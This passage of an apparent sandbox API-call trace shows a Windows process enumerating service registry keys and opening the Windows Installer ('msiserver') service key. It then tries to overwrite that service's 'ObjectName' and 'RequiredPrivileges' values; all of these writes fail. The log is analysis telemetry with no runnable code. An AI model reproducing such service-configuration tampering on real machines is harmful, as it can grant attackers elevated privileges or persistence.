out: lpName="KtmRm") returned 0x0 [0244.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0244.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0244.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0244.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0244.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0244.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0244.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0244.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0244.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0244.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0244.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0244.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0244.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0244.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0244.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0244.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0244.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0244.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0244.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0244.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0244.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0244.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0244.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0244.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0244.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0244.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0244.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0244.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0244.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0244.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0244.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0244.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0244.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0244.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0244.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0244.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0244.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0244.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0244.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0244.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0244.800] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0244.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0244.800] RegCloseKey (hKey=0xc4) returned 0x0 [0244.800] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0244.800] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0244.800] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0244.800] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0244.800] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0244.801] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0244.801] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0244.801] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0244.801] RegCloseKey (hKey=0x80000002) returned 0x0 [0244.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0244.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0244.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0244.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0244.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0244.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0244.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0244.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0244.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0244.802] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0244.802] RegCloseKey (hKey=0x154) returned 0x0 [0244.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0244.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0244.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0244.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0244.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0244.802] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0244.802] RegCloseKey (hKey=0xc4) returned 0x0 [0244.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0244.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0244.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0244.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0244.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0244.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0244.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0244.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0244.803] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0244.810] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.811] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.811] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.811] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.811] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.811] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.811] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.811] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.811] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.811] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.811] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.811] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.812] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.812] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.812] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.812] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0244.812] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048, cbData=0x195) returned 0x6 [0244.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0244.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0244.812] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData=0x21f1c40, cbData=0x1) returned 0x6 [0244.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0244.812] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0244.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0244.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0244.812] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0244.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0244.812] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0244.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0244.812] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0244.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0244.813] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0244.813] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0244.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0244.813] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0244.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0244.813] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0244.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0244.813] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0244.813] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0244.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0244.813] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0244.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0244.813] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0244.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0244.813] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0244.813] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0244.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0244.814] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0244.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0244.814] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0244.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0244.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0244.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0244.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0244.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0244.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0244.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0244.814] RegSetValueExA (hKey=0x0, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData=0x21f1850, cbData=0xc) returned 0x6 [0244.814] RegSetValueExA (hKey=0x0, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData=0x21f1850, cbData=0x1) returned 0x6 [0244.814] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0244.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0244.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0244.814] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0244.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0244.814] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0244.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0244.814] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0244.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0244.815] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0244.815] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.815] RtlAllocateHeap 